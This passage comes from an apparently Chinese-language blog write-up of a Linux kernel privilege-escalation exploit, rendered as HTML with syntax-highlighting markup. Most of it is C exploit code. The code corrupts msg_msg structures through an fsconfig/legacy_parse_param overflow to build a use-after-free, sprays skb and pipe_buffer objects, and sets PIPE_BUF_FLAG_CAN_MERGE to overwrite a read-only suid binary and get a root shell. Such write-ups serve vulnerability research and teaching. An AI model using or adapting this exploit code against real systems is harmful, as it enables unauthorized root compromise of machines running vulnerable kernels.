punctuation">;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>  <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h3 id="create-uaf"><a href="#create-uaf" class="headerlink" title="create uaf"></a>create uaf</h3><p>释放 kmalloc_1024 的 msg_msg 结构体，再次触发漏洞，修改某个 msg_msg.m_list.next  为 kmalloc_1024，那么就构造了对该地址的 UAF 了</p><p>因为漏洞的溢出写入的是字符串 <code>,key=value</code>，且从 key 开始的位置就是 msg_msg.m_list.next 了，最后还会附加 <code>=</code>，且 kmalloc_1024 最低字节必然是 <code>\0</code>，被覆盖成 <code>=</code> 就不对了，所以无法直接覆盖成  kmalloc_1024，但是可以把 m_list.next 指向 kmalloc_1024 + offset 上，以避免 <code>\0</code></p><p>然后在 <code>kmalloc_1024 + offset</code> 处，伪造一个 msg_msg，其 m_list.next 指向 kmalloc_1024，也就是伪造成下面的效果：</p><pre class="line-numbers language-none"><code class="language-none">corrupted_msg_msg -&gt; kmalloc_1024 + offset -&gt; kmalloc_1024<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p><img src="/images/4161b49f/pasted-4.png" alt="create_uaf"></p><p><strong>要注意 unlink 时 next/prev 指针指向的区域可写</strong></p><p>代码如下：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token keyword">void</span> <span class="token function">fake_msg_msg_at_kmalloc_1024</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token function">logdebug</span><span class="token punctuation">(</span><span class="token string">"--- fake_msg_msg_at_kmalloc_1024 ---"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">logdebug</span><span class="token punctuation">(</span><span class="token string">"free kmalloc-1024"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">msgrcv</span><span class="token punctuation">(</span>uaf_msqid<span class="token punctuation">,</span> msg_b<span class="token punctuation">,</span> <span class="token number">1024</span> <span class="token operator">-</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">msg_msg</span><span class="token punctuation">)</span><span class="token punctuation">,</span> MTYPE_B2<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>    <span class="token function">die</span><span class="token punctuation">(</span><span class="token string">"msgrcv() error"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">logdebug</span><span class="token punctuation">(</span><span class="token string">"spraying skb..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">memset</span><span class="token punctuation">(</span>skb<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>skb<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">struct</span> <span class="token class-name">msg_msg</span> <span class="token operator">*</span>msg <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">msg_msg</span> <span class="token operator">*</span><span class="token punctuation">)</span>skb<span class="token punctuation">;</span>  msg<span class="token operator">-></span>m_list<span class="token punctuation">.</span>next <span class="token operator">=</span> kmalloc_1024 <span class="token operator">+</span> <span class="token number">0x200</span><span class="token punctuation">;</span> <span class="token comment">// no matter</span>  msg<span class="token operator">-></span>m_list<span class="token punctuation">.</span>prev <span class="token operator">=</span> kmalloc_1024 <span class="token operator">+</span> <span class="token number">0x300</span><span class="token punctuation">;</span> <span class="token comment">// no matter</span>  msg<span class="token operator">-></span>m_type <span class="token operator">=</span> MTYPE_FAKE<span class="token punctuation">;</span>  msg<span class="token operator">-></span>m_ts <span class="token operator">=</span> <span class="token number">0x100</span><span class="token punctuation">;</span>  msg<span class="token operator">-></span>security <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>  msg<span class="token operator">++</span><span class="token punctuation">;</span>  msg<span class="token operator">-></span>m_list<span class="token punctuation">.</span>next <span class="token operator">=</span> kmalloc_1024<span class="token punctuation">;</span>  msg<span class="token operator">-></span>m_list<span class="token punctuation">.</span>prev <span class="token operator">=</span> kmalloc_1024 <span class="token operator">+</span> <span class="token number">0x400</span><span class="token punctuation">;</span> <span class="token comment">// no matter</span>  msg<span class="token operator">-></span>m_type <span class="token operator">=</span> MTYPE_A<span class="token punctuation">;</span>  msg<span class="token operator">-></span>m_ts <span class="token operator">=</span> <span class="token number">0x233</span><span class="token punctuation">;</span>  msg<span class="token operator">-></span>security <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>  <span class="token function">spray_skbuff_data</span><span class="token punctuation">(</span>skb<span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>skb<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">&#125;</span><span class="token keyword">int</span> <span class="token function">create_uaf</span><span class="token punctuation">(</span><span class="token keyword">int</span> fsid<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token keyword">char</span> buff<span class="token punctuation">[</span><span class="token number">0x100</span><span class="token punctuation">]</span><span class="token punctuation">;</span>  <span class="token keyword">int</span> target_idx <span class="token operator">=</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span>  <span class="token function">logdebug</span><span class="token punctuation">(</span><span class="token string">"--- create_uaf ---"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">prepare_overflow</span><span class="token punctuation">(</span>fsid<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">logdebug</span><span class="token punctuation">(</span><span class="token string">"spraying messasge queue 1..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> NUM_MSQIDS_1<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    msg_a<span class="token operator">-></span>mtype <span class="token operator">=</span> MTYPE_A<span class="token punctuation">;</span>    <span class="token function">memset</span><span class="token punctuation">(</span>msg_a<span class="token operator">-></span>mtext<span class="token punctuation">,</span> <span class="token string">'A'</span><span class="token punctuation">,</span> MSG_A_TEXT_SIZE<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token keyword">int</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>msg_a<span class="token operator">-></span>mtext<span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> MSG_TAG<span class="token punctuation">;</span>    <span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token keyword">int</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>msg_a<span class="token operator">-></span>mtext<span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">=</span> i<span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">msgsnd</span><span class="token punctuation">(</span>msqid_1<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">,</span> msg_a<span class="token punctuation">,</span> MSG_A_TEXT_SIZE<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>      <span class="token function">die</span><span class="token punctuation">(</span><span class="token string">"msgsnd() error"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token function">logdebug</span><span class="token punctuation">(</span><span class="token string">"trigger oob write in `legacy_parse_param` to corrupt messageA's "</span>           <span class="token string">"msg_msg.m_ts"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">memset</span><span class="token punctuation">(</span>buff<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>buff<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">struct</span> <span class="token class-name">msg_msg</span> <span class="token operator">*</span>msg <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">msg_msg</span> <span class="token operator">*</span><span class="token punctuation">)</span>buff<span class="token punctuation">;</span>  msg<span class="token operator">-></span>m_list<span class="token punctuation">.</span>next <span class="token operator">=</span> kmalloc_1024 <span class="token operator">+</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">msg_msg</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  msg<span class="token operator">-></span>m_list<span class="token punctuation">.</span>prev <span class="token operator">=</span> <span class="token number">0xdeadbeefdeadbeef</span><span class="token punctuation">;</span>  msg<span class="token operator">-></span>m_type <span class="token operator">=</span> MTYPE_A<span class="token punctuation">;</span> <span class="token comment">// append '=\x00'</span>  <span class="token function">fsconfig</span><span class="token punctuation">(</span>fsid<span class="token punctuation">,</span> FSCONFIG_SET_STRING<span class="token punctuation">,</span> buff<span class="token punctuation">,</span> <span class="token string">"\x00"</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">logdebug</span><span class="token punctuation">(</span><span class="token string">"searching corrupted msg_msg for freeing fake msg_msg..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  fake_msqid <span class="token operator">=</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span>  <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> NUM_MSQIDS_1<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    <span class="token class-name">size_t</span> n <span class="token operator">=</span> <span class="token function">msgrcv</span><span class="token punctuation">(</span>msqid_1<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">,</span> msg_a<span class="token punctuation">,</span> <span class="token number">0x100</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> MSG_COPY <span class="token operator">|</span> IPC_NOWAIT<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span>n <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>      <span class="token keyword">continue</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span>n <span class="token operator">==</span> <span class="token number">0x100</span> <span class="token operator">&amp;&amp;</span> msg_a<span class="token operator">-></span>mtype <span class="token operator">==</span> MTYPE_FAKE<span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>      fake_msqid <span class="token operator">=</span> msqid_1<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>msqid_1<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">msgget</span><span class="token punctuation">(</span>IPC_PRIVATE<span class="token punctuation">,</span> IPC_CREAT <span class="token operator">|</span> <span class="token number">0666</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>        <span class="token function">die</span><span class="token punctuation">(</span><span class="token string">"msgget() error"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token function">loginfo</span><span class="token punctuation">(</span><span class="token string">"fake_msqid = %d"</span><span class="token punctuation">,</span> fake_msqid<span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token keyword">break</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span>fake_msqid <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    <span class="token function">clean_msg_1</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token function">clean_msg_1</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">return</span> <span class="token number">1</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token keyword">int</span> argc<span class="token punctuation">,</span> <span class="token keyword">char</span> <span class="token keyword">const</span> <span class="token operator">*</span>argv<span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>    <span class="token function">fake_msg_msg_at_kmalloc_1024</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">close</span><span class="token punctuation">(</span>fsid<span class="token punctuation">)</span><span class="token punctuation">;</span>    fsid <span class="token operator">=</span> <span class="token function">call_fsopen</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">while</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">create_uaf</span><span class="token punctuation">(</span>fsid<span class="token punctuation">)</span><span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>      <span class="token function">close</span><span class="token punctuation">(</span>fsid<span class="token punctuation">)</span><span class="token punctuation">;</span>      fsid <span class="token operator">=</span> <span class="token function">call_fsopen</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token function">logdebug</span><span class="token punctuation">(</span><span class="token string">"retry create_uaf()"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>  <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h3 id="pipe-primitive"><a href="#pipe-primitive" class="headerlink" title="pipe_primitive"></a>pipe_primitive</h3><p>此时，通过 corrupted_msg_msg（即 fake_msqid）释放 kmalloc_1024 堆块，然后喷射 pipe_buffer 占位，同时调用 splice 把目标文件缓存页接入 pipe_buffer</p><p>利用 skb 修改文件缓存页对应的 pipe_buffer 的 flags 为 PIPE_BUF_FLAG_CAN_MERGE，向 pipe 写入数据即可成功修改只有读权限的 suid 程序文件</p><p>通过覆盖 suid 程序文件为恶意代码，执行恶意代码 getshell 提权：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token keyword">void</span> <span class="token function">pipe_primitive</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token keyword">char</span> buff<span class="token punctuation">[</span><span class="token number">0x400</span><span class="token punctuation">]</span><span class="token punctuation">;</span>  <span class="token function">logdebug</span><span class="token punctuation">(</span><span class="token string">"open target file %s"</span><span class="token punctuation">,</span> ATTACK_FILE<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>tfd <span class="token operator">=</span> <span class="token function">open</span><span class="token punctuation">(</span>ATTACK_FILE<span class="token punctuation">,</span> O_RDONLY<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>    <span class="token function">die</span><span class="token punctuation">(</span><span class="token string">"failed to open target file"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">logdebug</span><span class="token punctuation">(</span><span class="token string">"freeing fake msg_msg..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">msgrcv</span><span class="token punctuation">(</span>fake_msqid<span class="token punctuation">,</span> msg_a<span class="token punctuation">,</span> <span class="token number">0x100</span><span class="token punctuation">,</span> MTYPE_FAKE<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>    <span class="token function">die</span><span class="token punctuation">(</span><span class="token string">"msgrcv() error"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">logdebug</span><span class="token punctuation">(</span><span class="token string">"spraying pipe_buffer..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> NUM_PIPEFDS<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">pipe</span><span class="token punctuation">(</span>pipe_fd<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>      <span class="token function">die</span><span class="token punctuation">(</span><span class="token string">"Alloc pipe failed"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token function">write</span><span class="token punctuation">(</span>pipe_fd<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">,</span> buff<span class="token punctuation">,</span> <span class="token number">0x100</span> <span class="token operator">+</span> i<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token class-name">loff_t</span> offset <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span>    <span class="token class-name">ssize_t</span> nbytes <span class="token operator">=</span> <span class="token function">splice</span><span class="token punctuation">(</span>tfd<span class="token punctuation">,</span> <span class="token operator">&amp;</span>offset<span class="token punctuation">,</span> pipe_fd<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token constant">NULL</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span>nbytes <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>      <span class="token function">die</span><span class="token punctuation">(</span><span class="token string">"splice() failed"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span>  <span class="token function">logdebug</span><span class="token punctuation">(</span><span class="token string">"free skbuff_data to make pipe_buffer become UAF"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">int</span> uaf_pipe_idx <span class="token operator">=</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span>  <span class="token keyword">char</span> backup_skb<span class="token punctuation">[</span><span class="token keyword">sizeof</span><span class="token punctuation">(</span>skb<span class="token punctuation">)</span><span class="token punctuation">]</span><span class="token punctuation">;</span>  <span class="token keyword">int</span> PIPE_BUF_FLAG_CAN_MERGE <span class="token operator">=</span> <span class="token number">0x10</span><span class="token punctuation">;</span>  <span class="token function">memset</span><span class="token punctuation">(</span>skb<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>skb<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> NUM_SOCKETS<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> j <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> j <span class="token operator">&lt;</span> NUM_SKBUFFS<span class="token punctuation">;</span> j<span class="token operator">++</span><span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">read</span><span class="token punctuation">(</span>sock_pairs<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">,</span> skb<span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>skb<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>      <span class="token punctuation">&#123;</span>        <span class="token function">die</span><span class="token punctuation">(</span><span class="token string">"read from sock pairs failed"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span>      <span class="token keyword">struct</span> <span class="token class-name">pipe_buffer</span> <span class="token operator">*</span>pb <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">pipe_buffer</span> <span class="token operator">*</span><span class="token punctuation">)</span>skb<span class="token punctuation">;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span>pb<span class="token operator">-></span>len <span class="token operator">>=</span> <span class="token number">0x100</span> <span class="token operator">&amp;&amp;</span> pb<span class="token operator">-></span>len <span class="token operator">&lt;</span> <span class="token number">0x100</span> <span class="token operator">+</span> NUM_PIPEFDS<span class="token punctuation">)</span>      <span class="token punctuation">&#123;</span>        uaf_pipe_idx <span class="token operator">=</span> pb<span class="token operator">-></span>len <span class="token operator">-</span> <span class="token number">0x100</span><span class="token punctuation">;</span>        <span class="token function">loginfo</span><span class="token punctuation">(</span><span class="token string">"uaf_pipe_idx = %d"</span><span class="token punctuation">,</span> uaf_pipe_idx<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token function">memcpy</span><span class="token punctuation">(</span>backup_skb<span class="token punctuation">,</span> skb<span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>skb<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>      <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span>uaf_pipe_idx <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>    <span class="token function">die</span><span class="token punctuation">(</span><span class="token string">"uaf_pipe_idx not found"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">logdebug</span><span class="token punctuation">(</span><span class="token string">"edit pipe_buffer->flags"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">struct</span> <span class="token class-name">pipe_buffer</span> <span class="token operator">*</span>pb <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">pipe_buffer</span> <span class="token operator">*</span><span class="token punctuation">)</span>backup_skb<span class="token punctuation">;</span>  pb<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">.</span>len <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>  pb<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">.</span>offset <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>  pb<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">.</span>flags <span class="token operator">=</span> PIPE_BUF_FLAG_CAN_MERGE<span class="token punctuation">;</span>  pb<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">.</span>ops <span class="token operator">=</span> pb<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">.</span>ops<span class="token punctuation">;</span>  <span class="token function">spray_skbuff_data</span><span class="token punctuation">(</span>backup_skb<span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>backup_skb<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">logdebug</span><span class="token punctuation">(</span><span class="token string">"try to overwrite %s, by pipe fd %d"</span><span class="token punctuation">,</span> ATTACK_FILE<span class="token punctuation">,</span>           pipe_fd<span class="token punctuation">[</span>uaf_pipe_idx<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">write</span><span class="token punctuation">(</span>pipe_fd<span class="token punctuation">[</span>uaf_pipe_idx<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">,</span> attack_data<span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>attack_data<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">!=</span>      <span class="token keyword">sizeof</span><span class="token punctuation">(</span>attack_data<span class="token punctuation">)</span><span class="token punctuation">)</span>    <span class="token function">die</span><span class="token punctuation">(</span><span class="token string">"write"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">logdebug</span><span class="token punctuation">(</span><span class="token string">"see if %s changed"</span><span class="token punctuation">,</span> ATTACK_FILE<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">close</span><span class="token punctuation">(</span>tfd<span class="token punctuation">)</span><span class="token punctuation">;</span>  tfd <span class="token operator">=</span> <span class="token function">open</span><span class="token punctuation">(</span>ATTACK_FILE<span class="token punctuation">,</span> O_RDONLY<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span>tfd <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    <span class="token function">die</span><span class="token punctuation">(</span><span class="token string">"open attack file"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">char</span> tmp_buffer<span class="token punctuation">[</span><span class="token number">0x10</span><span class="token punctuation">]</span><span class="token punctuation">;</span>  <span class="token function">read</span><span class="token punctuation">(</span>tfd<span class="token punctuation">,</span> tmp_buffer<span class="token punctuation">,</span> <span class="token number">0x10</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token class-name">uint32_t</span> <span class="token operator">*</span>ptr <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token class-name">uint32_t</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token punctuation">(</span>tmp_buffer <span class="token operator">+</span> <span class="token number">9</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span>ptr<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">!=</span> <span class="token number">0x56565656</span><span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    <span class="token function">die</span><span class="token punctuation">(</span><span class="token string">"overwrite attack file failed: 0x%08x"</span><span class="token punctuation">,</span> ptr<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" 